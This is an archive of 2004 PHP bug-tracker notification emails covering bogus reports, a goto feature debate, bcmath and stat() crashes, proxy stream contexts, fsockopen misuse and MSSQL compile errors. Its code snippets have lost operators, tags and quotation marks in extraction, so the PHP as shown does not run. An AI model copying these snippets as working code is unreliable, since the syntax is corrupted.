[2004-08-13 19:14:53] boern1980 at yahoo dot es

Description:

hello

i have apache 1.3.24-13 server ,when RELOAD it much relays
i don't know it .

thank's help me

i have SUSE LINUX 8.2

Reproduce code:
---
hello

i have apache 1.3.24-13 server ,when RELOAD it much relays
i don't know it .

thank's help me

i have SUSE LINUX 8.2






-- 
Edit this bug report at http://bugs.php.net/?id=29659edit=1


#29660 [Opn-Bgs]: problem reload apache

2004-08-13 Thread pollita
 ID:   29660
 Updated by:   [EMAIL PROTECTED]
 Reported By:  boern1980 at yahoo dot es
-Status:   Open
+Status:   Bogus
 Bug Type: *Web Server problem
 Operating System: suse linux 8.2
 PHP Version:  Irrelevant
 New Comment:

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions. 

Thank you for your interest in PHP.

.


Previous Comments:


[2004-08-13 19:14:53] boern1980 at yahoo dot es

Description:

hello

i have apache 1.3.24-13 server ,when RELOAD it much relays
i don't know it .

thank's help me

i have SUSE LINUX 8.2

Reproduce code:
---
hello

i have apache 1.3.24-13 server ,when RELOAD it much relays
i don't know it .

thank's help me

i have SUSE LINUX 8.2






-- 
Edit this bug report at http://bugs.php.net/?id=29660edit=1


#29582 [Opn-Bgs]: The Bug in if( xx yy )

2004-08-09 Thread pollita
 ID:   29582
 Updated by:   [EMAIL PROTECTED]
 Reported By:  mydwin at msn dot com
-Status:   Open
+Status:   Bogus
 Bug Type: MySQL related
 Operating System: Windows 2003 Enterprise
 PHP Version:  5.0.0
 New Comment:

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions. 

Thank you for your interest in PHP.

This is expected behavior, use some parenthesis to separate your
assignments from your boolean logic.

Also, take a look at DB::getOne(), it'll simplify what you're trying to
do here.



Previous Comments:


[2004-08-09 08:53:24] mydwin at msn dot com

By the Way.

We can't use this

$Temp_From=$DB-query( SELECT * FROM test WHERE id=$iFromID
)-fetch_assoc()[0];


but we can use it in this way
$Temp_From=$DB-query( SELECT * FROM test WHERE id=$iFromID
)-fetch_assoc();
$Temp_From=$Temp_From[0];



[2004-08-09 08:43:17] mydwin at msn dot com

Description:

-= The SQL is =-

CREATE TABLE `test` (
  `id` int(10) unsigned NOT NULL auto_increment,
  `Name` varchar(50) collate utf8_bin NOT NULL default '',
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin AUTO_INCREMENT=5
;


INSERT INTO `test` VALUES (1, 0x61);
INSERT INTO `test` VALUES (2, 0x62);
INSERT INTO `test` VALUES (3, 0x63);
INSERT INTO `test` VALUES (4, 0x64);






-= the test.php code is =-

pre?php
$iFromID   = $_POST[FromID]|0;
$iToID = $_POST[ToID]|0;

$DB = new mysqli( localhost, root, , testDB );
if( $Temp_From=$DB-query( SELECT * FROM test WHERE id=$iFromID
)-fetch_assoc()  $Temp_To=$DB-query( SELECT * FROM test WHERE
id=$iToID )-fetch_object() )
{
print_r($Temp_From);
echo \n\n\n;
print_r($Temp_To);
}
?
form method=post action=test.php
input name=FromID value=1 /  input name=ToID value=2 /
input type=submit value=Submit / input type=reset
value=Reset /
/form
/pre





Expected result:

Array
(
[id] = 1
[Name] = a
)



stdClass Object
(
[id] = 2
[Name] = b
)

Actual result:
--
1


stdClass Object
(
[id] = 2
[Name] = b
)





-- 
Edit this bug report at http://bugs.php.net/?id=29582edit=1


#29287 [Opn]: Request: Line labels and goto

2004-08-02 Thread pollita
 ID:   29287
 Updated by:   [EMAIL PROTECTED]
 Reported By:  abodeman at yahoo dot com
 Status:   Open
 Bug Type: Feature/Change Request
 Operating System: Irrelevant
 PHP Version:  Irrelevant
 New Comment:

The original post got a no because it's long been an unspoken
position that GOTO has no place in PHP.

As chance would have it, I submitted a goto implementation to the
php.internals list last on the 28th (hadn't seen your feature request
at the time interrestingly enough) which spawned somewhere over 150
posts on the mailing list plus at least a couple blog entries on the
subject.

The implementation is still under development, and the decision to
implmenent it is under discussion.  Feel free to chime in on
[EMAIL PROTECTED]  You can read up on the conversation in the
archives at http://news.php.net/php.internals/ 



Previous Comments:


[2004-08-02 21:56:04] jdemaris at cse dot unl dot edu

What is still likely to be added?  Labels?  Gotos?  Both?

Many developers, myself included, would welcome both features.  I'm
curious why you were so quick to spout an unqualified no to the
original post.



[2004-08-02 11:42:23] [EMAIL PROTECTED]

It's still likely to be added ;-)



[2004-07-26 19:44:54] jhelzer at cse dot unl dot edu

Whether this is the relevant place or not, to treat goto and labels as
two heads of the same body (as you seem to imply) is silly.  I can
understand a reluctance to implement goto, but adding labels for the
break statement make a tremendous amount of sense.



[2004-07-21 00:00:59] jhelzer at cse dot unl dot edu

I am curious, why not?



[2004-07-20 22:31:59] [EMAIL PROTECTED]

We won't implement goto and or labels.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/29287

-- 
Edit this bug report at http://bugs.php.net/?id=29287edit=1


#27759 [Csd]: bcadd() causes crash if first parameter is empty string

2004-07-26 Thread pollita
 ID:   27759
 Updated by:   [EMAIL PROTECTED]
 Reported By:  patrick at rap-x dot com
 Status:   Closed
 Bug Type: BC math related
 Operating System: win32 only
 PHP Version:  5.0.0RC1
 New Comment:

The fix was located just *after* the release of 5.0.0 (literally, like,
the next day), look for it in 5.0.1.


Previous Comments:


[2004-07-25 00:22:19] davesk78 at yahoo dot com

This bug still exists in the final release (5.0.0).  I'm running Apache
2, PHP 5.0.0, and Windows XP Pro.  Same test case:

$total = 0;
$diff = ;
$result = bcadd($total, $diff, 6);
echo $result;
exit;

The following also causes Apache to crash:

$total = 0;
$diff = ;
$result = bcpow($total, $diff, 6);
echo $result;
exit;



[2004-07-07 15:48:45] pk at onpk dot net

The reproduce code still crashes on my box Windows 2000 pro, Apache
1.3.27, PHP5 build 2195. And not only with bcadd but also with :
$total = 0;
$diff = ;
bcpow($total, $diff, 6);

And :
$total = 0;
$diff = ;
bcsub($total, $diff, 6);

However I've to admit that ttt_cao at hotmail dot com's remedy does
work. By the way, I'm not using PEAR`s
Benchmark_Timer.

Hope someone will look at this. Thanks in advance.

Perrick :: http://www.onpk.net/



[2004-06-29 18:51:18] ttt_cao at hotmail dot com

update the function getProfiling() in timer.php as the follows, maybe
you can fix the bug. 

function getProfiling() {
$i = 0;
$total = $temp = '0.0';
$result = array();

foreach ($this-markers as $marker = $time) {

if (extension_loaded('bcmath')) {
$diff  = bcsub($time, $temp, 6);

if ($i  0)
$total = bcadd($total, $diff, 6);
} else {
$diff  = $time - $temp;
$total = $total + $diff;
}

echo $time   $diff $total br;

$result[$i]['name']  = $marker;
$result[$i]['time']  = $time;
$result[$i]['diff']  = $diff;
$result[$i]['total'] = $total;

$this-strlen_max = (strlen($marker)  $this-strlen_max ?
strlen($marker) + 1 : $this-strlen_max);

$temp = $time;
$i++;

}


$result[0]['diff'] = '-';
$this-strlen_max = (strlen('total')  $this-strlen_max ?
strlen('total') : $this-strlen_max);
$this-strlen_max += 4;

return $result;
}



[2004-06-18 01:21:42] rashid at ds dot pg dot gda dot pl

bug is closed so i dare to add 'me too' so maybe someone will reopen it
:]
php5 rc2: problem exists in both bc_sub and bc_add (PEAR`s
Benchmark_Timer works great as perfect example of this bug)



[2004-04-26 13:26:06] marv at cyberia dot net dot lb

This bug still exists in PHP5RC2. There isn't a problem with bcmath
itself, but something is corrupting heap memory that bcmath uses.
bcmath allocates three numbers (zero, one, and two) when it first
starts up. If any of these numbers is then used (such as when adding
zero to a number in bcadd) Apache crashes.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/27759

-- 
Edit this bug report at http://bugs.php.net/?id=27759edit=1


#29351 [Opn-Sus]: New feature : scp

2004-07-23 Thread pollita
 ID:  29351
 Updated by:  [EMAIL PROTECTED]
 Reported By: franklamoureux at hotmail dot com
-Status:  Open
+Status:  Suspended
 Bug Type:Feature/Change Request
 PHP Version: 5CVS-2004-07-23 (dev)
 New Comment:

It's in the plan.  However you make one mistake, PHP does not support
sftp, it supports ftps.  Support for sftp and scp is non-trivial but
when it's ready it'll be there.


Previous Comments:


[2004-07-23 16:03:01] franklamoureux at hotmail dot com

Description:

Since ftp and sftp functions are now patr of php, it might be nice to
have a scp features






-- 
Edit this bug report at http://bugs.php.net/?id=29351edit=1


#29280 [Asn-Csd]: changing the default http-wrapper

2004-07-23 Thread pollita
 ID:  29280
 Updated by:  [EMAIL PROTECTED]
 Reported By: Progman2002 at gmx dot de
-Status:  Assigned
+Status:  Closed
 Bug Type:*Network Functions
 PHP Version: Irrelevant
-Assigned To: pollita
+Assigned To: wez
 New Comment:

Dunno why this was assigned to me when wez implemented it :)

Closing it up.  You can either grab the snapshot from snaps.php.net
otherwise your wait will be until 5.1.0 is released.


Previous Comments:


[2004-07-22 16:47:53] progman2002 at gmx dot de

works fine.
 PHPs snip 
$opts = array('http' = array('request_fulluri' = true,
  'proxy' = 'tcp://192.168.0.1:8080'));
stream_context_get_default($opts);
 eos 
works also as...
 PHPs snip 
$context = stream_context_get_default();
stream_context_set_option($context, 'http', 'proxy',
'tcp://192.168.0.1:8080');
stream_context_set_option($context, 'http', 'request_fulluri', true);
 eos 
... does

So, now I must wait until it is in the non-cvs package ;)



[2004-07-22 14:47:54] [EMAIL PROTECTED]

Current CVS now has stream_context_get_default() which returns the
default context used by all newly created streams (unless explicitly
overriden).

You can use this in your script (perhaps via auto_prepend) to set the
proxy globally.

I know; an ini option for the proxy would be a good idea too, so let's
ask Sara really nicely if she wouldn't mind adding that.



[2004-07-20 14:52:57] Progman2002 at web dot de

sure:
 PHP-Code:
?php
$opts = array('http' = array('request_fulluri' = true,
  'proxy' =
'tcp://192.168.0.1:8080'));

$context = stream_context_create($opts);

$url = http://www.example.com/;;

$fp = fopen($url, 'r', false, $context);
if (!$fp) {
echo nothing :(;
} else {
var_dump($fp);
fclose($fp);
}

// and now without $context...

$fp = fopen($url, 'r');
if (!$fp) {
echo nothing :(;
} else {
var_dump($fp);
fclose($fp);
}
?

The first call with $context works, the second doesnt:

 Output:
resource(3) of type (stream) 
Warning: fopen(http://www.example.com/) [function.fopen]: failed to
open stream: Connection timed out in /home/progman/public_html/test.php
on line 19
nothing :(

 Expected:
resource(3) of type (stream)
resource(4) of type (stream) // or an other resource-id

A php.ini-setting for proxys would be maybe better ;)



[2004-07-20 14:24:46] [EMAIL PROTECTED]

I know what you mean (and we do have something planned), but can you
please clarify which functions you are using to implement proxy
support?



[2004-07-20 14:01:48] Progman2002 at gmx dot de

Description:

I'm behind a proxy so my local php version cannot access the internet
directly. Every HTTP-Request must go throught the proxy. I have see
that I can create my own http-wrapper with settings to use my proxy and
use this metioned context as fourth parameter for the functions like
fopen and file_get_contents. This works fine, but what about if I use
third-party scripts, which just use file_get_contents($url) instead of
file_get_contents($url, false, $context)? It is possible to change or
modify the internal http-wrapper to use my proxy instead of creating a
new http-wrapper with stream_*() so I can just use file_get_contents()
and fopen() without the 'zcontext'-parameter?






-- 
Edit this bug report at http://bugs.php.net/?id=29280edit=1


#29280 [Csd-Asn]: changing the default http-wrapper

2004-07-23 Thread pollita
 ID:  29280
 Updated by:  [EMAIL PROTECTED]
 Reported By: Progman2002 at gmx dot de
-Status:  Closed
+Status:  Assigned
 Bug Type:*Network Functions
 PHP Version: Irrelevant
-Assigned To: wez
+Assigned To: pollita
 New Comment:

Ack! My bad... didn't see your note about making it an .ini option :)



Previous Comments:


[2004-07-24 06:17:47] [EMAIL PROTECTED]

Dunno why this was assigned to me when wez implemented it :)

Closing it up.  You can either grab the snapshot from snaps.php.net
otherwise your wait will be until 5.1.0 is released.



[2004-07-22 16:47:53] progman2002 at gmx dot de

works fine.
 PHPs snip 
$opts = array('http' = array('request_fulluri' = true,
  'proxy' = 'tcp://192.168.0.1:8080'));
stream_context_get_default($opts);
 eos 
works also as...
 PHPs snip 
$context = stream_context_get_default();
stream_context_set_option($context, 'http', 'proxy',
'tcp://192.168.0.1:8080');
stream_context_set_option($context, 'http', 'request_fulluri', true);
 eos 
... does

So, now I must wait until it is in the non-cvs package ;)



[2004-07-22 14:47:54] [EMAIL PROTECTED]

Current CVS now has stream_context_get_default() which returns the
default context used by all newly created streams (unless explicitly
overriden).

You can use this in your script (perhaps via auto_prepend) to set the
proxy globally.

I know; an ini option for the proxy would be a good idea too, so let's
ask Sara really nicely if she wouldn't mind adding that.



[2004-07-20 14:52:57] Progman2002 at web dot de

sure:
 PHP-Code:
?php
$opts = array('http' = array('request_fulluri' = true,
  'proxy' =
'tcp://192.168.0.1:8080'));

$context = stream_context_create($opts);

$url = http://www.example.com/;;

$fp = fopen($url, 'r', false, $context);
if (!$fp) {
echo nothing :(;
} else {
var_dump($fp);
fclose($fp);
}

// and now without $context...

$fp = fopen($url, 'r');
if (!$fp) {
echo nothing :(;
} else {
var_dump($fp);
fclose($fp);
}
?

The first call with $context works, the second doesnt:

 Output:
resource(3) of type (stream) 
Warning: fopen(http://www.example.com/) [function.fopen]: failed to
open stream: Connection timed out in /home/progman/public_html/test.php
on line 19
nothing :(

 Expected:
resource(3) of type (stream)
resource(4) of type (stream) // or an other resource-id

A php.ini-setting for proxys would be maybe better ;)



[2004-07-20 14:24:46] [EMAIL PROTECTED]

I know what you mean (and we do have something planned), but can you
please clarify which functions you are using to implement proxy
support?



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/29280

-- 
Edit this bug report at http://bugs.php.net/?id=29280edit=1


#26016 [WFx]: Warning: fsockopen(): Bug

2004-07-19 Thread pollita
 ID:   26016
 Updated by:   [EMAIL PROTECTED]
 Reported By:  hill at bluecarrots dot com
 Status:   Wont fix
 Bug Type: *General Issues
 Operating System: Linux
 PHP Version:  4.3.3
 New Comment:

I can see the confusion and will take a look at rewording some of the
documentation.

http://, ftp://, gopher://, nntp://, etc... These all describe
application layer protocols (known in PHP as wrappers).
See Also: http://www.php.net/wrappers


tcp://, udp://, unix://, udg://, ssl://, tls://, etc... describe
network layer protocols (also referred to as socket transports).
See Also: http://www.php.net/transports

fopen() (and family) work with wrappers, while fsockopen() only works
with transports.

When you use fopen('http://...', 'r') to open a remote resource URL. 
PHP creates a socket connection to the specified host and caries on an
entire conversation with the remote server (asking for a specific
document, passing authentication parameters, user-agent, negotiating
content encoding, etc...).

When you use fsockopen('tcp://hostname', 80) to open a connection to a
remote listener, PHP creates the socket connection as before, but then
stops, leaving the matter of application layer communication up to your
script.

If you're interrested in more detail, google for ISO Model and read
up about the differences between the layers.


Previous Comments:


[2004-07-19 20:40:40] wmueller at email dot com

well little stupid me! i would recommend then to strip all the comments
in the docs that contain resource url's instead of hostnames :-p

for some reason i think it is like making jokes. udp:// is oke, ssl://
yes, http:// makes it a 'thing'... i might use tcp:// instead as http
is unknown to fsockopen? ok at least windows understands me...

ok i am just picking the details now ;)

thanks for clearify that!! please make a note into the manuals! :-)



[2004-07-18 21:04:48] [EMAIL PROTECTED]

http://www.webseite.com is not a hostname.
http://www.webseite.com is a remote resource URL.
www.webseite.com is a hostname.

You are using the function incorrectly.



[2004-07-18 11:16:46] [EMAIL PROTECTED]

--disable-ipv6 when you configure.



[2004-07-18 01:38:15] wmueller at email dot com

well there must be more than just forgotten ssl support.

i have php compiled with: '--with-openssl' and still if i do a
fsockopen i end up with no socket AND a success message. if this is not
a bug what else would be one?

i do:

$fp = fsockopen(http://www.webseite.com;, 80, $errno, $errstr, 4);
if(!$fp){
  // this will echo the errorno: 0 and success message :p
   echo $errstr ($errno)br /\n;
}else{
  // stuff
}

Script output:
Warning:  fsockopen() [function.fsockopen]: php_network_getaddresses:
getaddrinfo failed: Name or service not known in /www/htdocs/ on
line ...

Warning:  fsockopen() [function.fsockopen]: unable to connect to
http://www.website.com:80 in /www/htdocs/ on line ...

Success (0)

System is a Suse Linux / PHP 4.3.1

same script works on windows

and no i do not upgrade to php5 just for the taste of it :p
so me too would vote for a fix!


any comments welcome. thanks for doing php(4) :-)



[2004-06-16 16:39:23] [EMAIL PROTECTED]

It's a Won't fix for PHP4 because it requires a *significant* rewrite
of the socket transport layer.  As any responsible developer knows, you
don't make massive changes to a stable branch of code, that's how you
introduce bugs.  You don't want bugs do you?

It's also a Won't fix because it does work in PHP4 if you simply
follow the instructions:

For Linux: Compile OpenSSL support in staticly rather than as a shared
module.  ./configure --with-openssl rather than ./configure
--with-openssl=shared

For Windows: Use the alternate php4libts.dll provided at
http://ftp.proventum.net/pub/php/win32/misc/openssl/ 

Creating a drama out of being forced to move to PHP5 to get ssl
sockets to work seems...well... childish is a good word isn't it?



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/26016

-- 
Edit this bug report at http://bugs.php.net/?id=26016edit=1


#26016 [WFx]: Warning: fsockopen(): Bug

2004-07-18 Thread pollita
 ID:   26016
 Updated by:   [EMAIL PROTECTED]
 Reported By:  hill at bluecarrots dot com
 Status:   Wont fix
 Bug Type: *General Issues
 Operating System: Linux
 PHP Version:  4.3.3
 New Comment:

http://www.webseite.com is not a hostname.
http://www.webseite.com is a remote resource URL.
www.webseite.com is a hostname.

You are using the function incorrectly.


Previous Comments:


[2004-07-18 11:16:46] [EMAIL PROTECTED]

--disable-ipv6 when you configure.



[2004-07-18 01:38:15] wmueller at email dot com

well there must be more than just forgotten ssl support.

i have php compiled with: '--with-openssl' and still if i do a
fsockopen i end up with no socket AND a success message. if this is not
a bug what else would be one?

i do:

$fp = fsockopen(http://www.webseite.com;, 80, $errno, $errstr, 4);
if(!$fp){
  // this will echo the errorno: 0 and success message :p
   echo $errstr ($errno)br /\n;
}else{
  // stuff
}

Script output:
Warning:  fsockopen() [function.fsockopen]: php_network_getaddresses:
getaddrinfo failed: Name or service not known in /www/htdocs/ on
line ...

Warning:  fsockopen() [function.fsockopen]: unable to connect to
http://www.website.com:80 in /www/htdocs/ on line ...

Success (0)

System is a Suse Linux / PHP 4.3.1

same script works on windows

and no i do not upgrade to php5 just for the taste of it :p
so me too would vote for a fix!


any comments welcome. thanks for doing php(4) :-)



[2004-06-16 16:39:23] [EMAIL PROTECTED]

It's a Won't fix for PHP4 because it requires a *significant* rewrite
of the socket transport layer.  As any responsible developer knows, you
don't make massive changes to a stable branch of code, that's how you
introduce bugs.  You don't want bugs do you?

It's also a Won't fix because it does work in PHP4 if you simply
follow the instructions:

For Linux: Compile OpenSSL support in staticly rather than as a shared
module.  ./configure --with-openssl rather than ./configure
--with-openssl=shared

For Windows: Use the alternate php4libts.dll provided at
http://ftp.proventum.net/pub/php/win32/misc/openssl/ 

Creating a drama out of being forced to move to PHP5 to get ssl
sockets to work seems...well... childish is a good word isn't it?



[2004-06-16 15:30:47] webmaster at zaedno dot de

Somehow find it childish - will not fix it? What does this mean - I
should migrate to PHP5 only because you find this not important enough.
Pls reconsider this - I saw an hour ago that there are other fixes
poping up in snaps.php.



[2004-05-04 23:03:40] [EMAIL PROTECTED]

Err, I obviously was reading the odd-one-out comment.
Restoring status.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/26016

-- 
Edit this bug report at http://bugs.php.net/?id=26016edit=1


#29189 [Bgs]: compile failure with --with-mssql

2004-07-16 Thread pollita
 ID:   29189
 Updated by:   [EMAIL PROTECTED]
 Reported By:  ute at centrum dot cz
 Status:   Bogus
 Bug Type: Compile Failure
 Operating System: FreeBSD 5.2.1
 PHP Version:  4.3.8
 New Comment:

This was fixed prior to the 4.3.8 release, but because the 4.3.8
release was special normal bugfixes (like this one) were not included
(only the urgent security fixes were included).

Fear not.  4.3.9 will contain this, and other bugfixes as expected.


Previous Comments:


[2004-07-16 22:09:41] sinatosk at hotmail dot com

am quite surprised to see this bug is still here considering that one
of the developers or whoever told me that this was fixed in a CVS when
I and someone else reported this bug for php 4.3.7... now it still
remains in 4.3.8???



[2004-07-15 17:22:31] ute at centrum dot cz

the same bug reported



[2004-07-15 17:08:10] ute at centrum dot cz

Description:

Compilation php crashes with --with-mssql and freetds-0.62.3

In file included from /usr/src/php-4.3.8/ext/mssql/php_mssql.c:33:
/usr/src/php-4.3.8/ext/mssql/php_mssql.h:41: error: redefinition of
`SHORT'
/usr/local/include/sybdb.h:117: error: `SHORT' previously declared
here
*** Error code 1






-- 
Edit this bug report at http://bugs.php.net/?id=29189edit=1


#29218 [Opn-Bgs]: PHP in text format

2004-07-16 Thread pollita
 ID:   29218
 Updated by:   [EMAIL PROTECTED]
 Reported By:  siikmaster at yahoo dot com
-Status:   Open
+Status:   Bogus
 Bug Type: *General Issues
 Operating System: XP
 PHP Version:  Irrelevant
 New Comment:

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions. 

Thank you for your interest in PHP.




Previous Comments:


[2004-07-17 00:38:28] schlueter at phpbar dot de

Are you sure that PHP is installed and working on your 
server?



[2004-07-17 00:31:24] siikmaster at yahoo dot com

Description:

I am getting a major problem when i tried installing my phpbb2 forums.
When i uploaded it, it showsd all my php files in text format. Can you
please tell me what the problem is? Also when i go to the main
directory of where phpbb2 is located http://www.mjhusa.com/tc/phpBB2/;
it says i am not authorized to view that page. So what do i do?

Reproduce code:
---
http://www.mjhusa.com/tc/phpBB2/install/install.php

Expected result:

I expect to see a page that is a the quick installer of phpbb. It
will give me information about the forum including entering my password
and it will have a submit button on the bottom.

Actual result:
--
Getting php in text format.





-- 
Edit this bug report at http://bugs.php.net/?id=29218edit=1


#28007 [Asn-Csd]: FreeTDS support will not compile

2004-07-15 Thread pollita
 ID:   28007
 Updated by:   [EMAIL PROTECTED]
 Reported By:  [EMAIL PROTECTED]
-Status:   Assigned
+Status:   Closed
 Bug Type: MSSQL related
 Operating System: Linux
 PHP Version:  4.3.6RC3
 Assigned To:  fmk
 New Comment:

It's fixed in CVS, not in the 4.3.8 distribution bundle.  You need to
either (A) Wait for 4.3.9, or (B) Grab a snapshot from
http://snaps.php.net



Previous Comments:


[2004-07-15 01:18:41] matt at atopia dot net

This still seems to be an issue with php-4.3.8.  Is the patch shown in
this report reliable?

In file included from
/usr/archive/source/php-4.3.8/ext/mssql/php_mssql.c:33:
/usr/archive/source/php-4.3.8/ext/mssql/php_mssql.h:41: redefinition of
`SHORT'
/usr/local/include/sybdb.h:117: `SHORT' previously declared here
*** Error code 1

Stop in /usr/archive/source/php-4.3.8.



[2004-04-21 01:36:12] [EMAIL PROTECTED]

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

Older versions of FreeTDS does not define the SHORT type.



[2004-04-15 19:18:12] [EMAIL PROTECTED]

Assigned to Frank who added the line in question in rev 1.84
of php_mssql.c



[2004-04-15 10:27:22] [EMAIL PROTECTED]

Description:

See bug #21544 -- I was asked to open a new report.

./configure --with-mssql ...   works, but a make of the same fails
with: (see actual result).

FreeTDS version: (debian unstable) 0.53-7

Sniper mentioned that he thinks it's my FreeTDS install. Could be. The
attached patch seems to completely fix the problem, though.

As mentioned in the other bug: I'm not a C guy, so I could be way wrong
on this. All I know is that after patching, --with-mssql compiles and
the library seems to work (as) well (as mssql on linux has ever
worked).

S
---

Index: ext/mssql/php_mssql.c
===
RCS file: /repository/php-src/ext/mssql/php_mssql.c,v
retrieving revision 1.86.2.31
diff -u -r1.86.2.31 php_mssql.c
--- ext/mssql/php_mssql.c   30 Mar 2004 17:54:38 - 
1.86.2.31
+++ ext/mssql/php_mssql.c   14 Apr 2004 15:18:18 -
@@ -336,7 +336,7 @@
dbsetlogintime(MS_SQL_G(connect_timeout));
if (MS_SQL_G(timeout)  0) MS_SQL_G(timeout) = 60;
dbsettime(MS_SQL_G(timeout));
-   dbsetmaxprocs((SHORT)MS_SQL_G(max_procs));
+   dbsetmaxprocs((int)MS_SQL_G(max_procs));

return SUCCESS;
 }


Reproduce code:
---
n/a

Expected result:

compile

Actual result:
--
ext/mssql/php_mssql.c: In function `zm_activate_mssql':
ext/mssql/php_mssql.c:339: `SHORT' undeclared (first use in this
function)
ext/mssql/php_mssql.c:339: (Each undeclared identifier is reported only
once
ext/mssql/php_mssql.c:339: for each function it appears in.)
make: *** [ext/mssql/php_mssql.lo] Error 1





-- 
Edit this bug report at http://bugs.php.net/?id=28007edit=1


#29114 [Asn-Csd]: Stat() function crashes PHP (signal 10) in a particular case

2004-07-15 Thread pollita
 ID:   29114
 Updated by:   [EMAIL PROTECTED]
 Reported By:  john dot wellesz at firstream dot net
-Status:   Assigned
+Status:   Closed
 Bug Type: Reproducible crash
 Operating System: w2k/FreeBSD
 PHP Version:  4.3.7
 Assigned To:  pollita
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.


Previous Comments:


[2004-07-15 00:08:02] [EMAIL PROTECTED]

Don't worry, it'll get fixed in PHP4 (in all liklihood will show up in
4.3.9).  I just wanted to be sure it was what I thought it was.  I'll
have a fix applied by this weekend time permitting.



[2004-07-14 20:40:01] john dot wellesz at firstream dot net

The problem doesn't appear with PHP 5.

Will you fix this bug in PHP 4 or must I switch to PHP 5?



[2004-07-13 17:57:58] [EMAIL PROTECTED]

Can you try this on PHP5?  The filestat code got some heavy
reorganizing and the bug may be resolved there, but I think I can see
what's happening in the PHP4 branch.




[2004-07-13 03:21:49] john dot wellesz at firstream dot net

Description:

The bug I'm about to describe exists since at least PHP 4.1.2 and
happens on w2k and freeBSD 4.9 STABLE and probably other platforms (I'm
currently using PHP 4.3.7 and 4.3.4).

My 2 php (w2k and FreeBSD) runs as CGI, the crashes also happens if I
execute my script on command line.

Modules used is probably irrelevant, I use 2 PHP one on FreeBSD and the
other on w2k compiled on totally different way with not the same
modules... (tell me if you cant reproduce the crash, i'll provide more
info)


BUG REQUIREMENTS:

-- you must be using an error handler
-- Inside your PHP script you must call a stat() function (filemtime,
stat() etc...) over a file that DOESN'T EXIST.
-- In your error handling function*(see note 1) you must either:
   - make another stat() over a file that doesn't exist
   - or call the unlink() function on a file that DOES EXIST

(1): inside your error handling function means:
  - direcly in the error handling function 
  - in a function that is called by your error handling function

RESULT:

Once the content of the error handler has been properly executed PHP
crashes on SIGNAL 10 (BUS ERROR)

NOTE that calling other specific functions than stat() functions family
and unlink() may cause the same issue, I didn't test.



Reproduce code:
---
?php
$dumyfile=foo.txt;
touch($dumyfile);

function userErrorHandler ($errno, $errmsg)
{
global  $dumyfile;

unlink($dumyfile); // can be replaced by stat(MUHUHAHAHA); (same
effect)

echo(br\n$errmsgbr\n);
}

$old_error_handler = set_error_handler(userErrorHandler);

echo btest start/bbr\n;
stat(nonexistentfileHAHAHA);
echo brbtest end/b\n;
?


Expected result:

should prints:

-
test start

stat(): Stat failed for nonexistentfileHAHAHA (errno=2 - No such file
or directory)

test end
-

Actual result:
--
actually prints

-
test start

stat(): Stat failed for nonexistentfileHAHAHA (errno=2 - No such file
or directory)
-


Under w2k a litle window appear to say that php.exe has generated
errors etc...

Under FreeBSD I can see in server logs:

pid 33566 (php), uid 27173: exited on signal 10





-- 
Edit this bug report at http://bugs.php.net/?id=29114edit=1


#29114 [Opn-Asn]: Stat() function crashes PHP (signal 10) in a particular case

2004-07-14 Thread pollita
 ID:   29114
 Updated by:   [EMAIL PROTECTED]
 Reported By:  john dot wellesz at firstream dot net
-Status:   Open
+Status:   Assigned
 Bug Type: Reproducible crash
 Operating System: w2k/FreeBSD
 PHP Version:  4.3.7
 Assigned To:  pollita
 New Comment:

Don't worry, it'll get fixed in PHP4 (in all liklihood will show up in
4.3.9).  I just wanted to be sure it was what I thought it was.  I'll
have a fix applied by this weekend time permitting.


Previous Comments:


[2004-07-14 20:40:01] john dot wellesz at firstream dot net

The problem doesn't appear with PHP 5.

Will you fix this bug in PHP 4 or must I switch to PHP 5?



[2004-07-13 17:57:58] [EMAIL PROTECTED]

Can you try this on PHP5?  The filestat code got some heavy
reorganizing and the bug may be resolved there, but I think I can see
what's happening in the PHP4 branch.




[2004-07-13 03:21:49] john dot wellesz at firstream dot net

Description:

The bug I'm about to describe exists since at least PHP 4.1.2 and
happens on w2k and freeBSD 4.9 STABLE and probably other platforms (I'm
currently using PHP 4.3.7 and 4.3.4).

My 2 php (w2k and FreeBSD) runs as CGI, the crashes also happens if I
execute my script on command line.

Modules used is probably irrelevant, I use 2 PHP one on FreeBSD and the
other on w2k compiled on totally different way with not the same
modules... (tell me if you cant reproduce the crash, i'll provide more
info)


BUG REQUIREMENTS:

-- you must be using an error handler
-- Inside your PHP script you must call a stat() function (filemtime,
stat() etc...) over a file that DOESN'T EXIST.
-- In your error handling function*(see note 1) you must either:
   - make another stat() over a file that doesn't exist
   - or call the unlink() function on a file that DOES EXIST

(1): inside your error handling function means:
  - direcly in the error handling function 
  - in a function that is called by your error handling function

RESULT:

Once the content of the error handler has been properly executed PHP
crashes on SIGNAL 10 (BUS ERROR)

NOTE that calling other specific functions than stat() functions family
and unlink() may cause the same issue, I didn't test.



Reproduce code:
---
?php
$dumyfile=foo.txt;
touch($dumyfile);

function userErrorHandler ($errno, $errmsg)
{
global  $dumyfile;

unlink($dumyfile); // can be replaced by stat(MUHUHAHAHA); (same
effect)

echo(br\n$errmsgbr\n);
}

$old_error_handler = set_error_handler(userErrorHandler);

echo btest start/bbr\n;
stat(nonexistentfileHAHAHA);
echo brbtest end/b\n;
?


Expected result:

should prints:

-
test start

